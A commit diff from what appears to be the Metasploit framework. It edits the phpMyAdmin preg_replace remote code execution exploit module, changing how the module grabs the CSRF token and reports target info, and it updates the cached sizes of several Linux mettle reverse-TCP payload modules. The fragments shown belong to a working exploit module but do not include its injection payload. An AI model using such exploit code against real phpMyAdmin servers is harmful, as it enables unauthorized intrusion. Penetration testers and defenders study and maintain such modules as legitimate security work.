Land rapid7#7869, Merge branch 'land-7869-preg' into upstream-master

Author: Brent Cook

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

@@ -113,6 +113,9 @@ def check
   end
 
   def exploit
+    # Always display target info
+    print_status(check[1])
+
     uri = target_uri.path
     print_status("Grabbing CSRF token...")
     response = send_request_cgi({ 'uri' => uri})
@@ -145,7 +148,11 @@ def exploit
       fail_with(Failure::NotFound, "Failed to retrieve webpage.")
     end
 
-    token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
+    if login.redirect?
+      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
+    else
+      fail_with(Failure::NotFound, "Couldn't find token. Wrong PMA version?")
+    end
 
     cookies = login.get_cookies
 
@@ -162,7 +169,7 @@ def exploit
     end
 
     db = rand_text_alpha(3+rand(3))
-    exploit_result = send_request_cgi({
+    send_request_cgi({
       'uri'	=> normalize_uri(uri, 'db_structure.php'),
       'method' => 'POST',
       'cookie' => cookies,

modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 301456
+  CachedSize = 301264
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 295848
+  CachedSize = 293160
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 521872
+  CachedSize = 521672
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 503004
+  CachedSize = 502792
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 503036
+  CachedSize = 502840
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions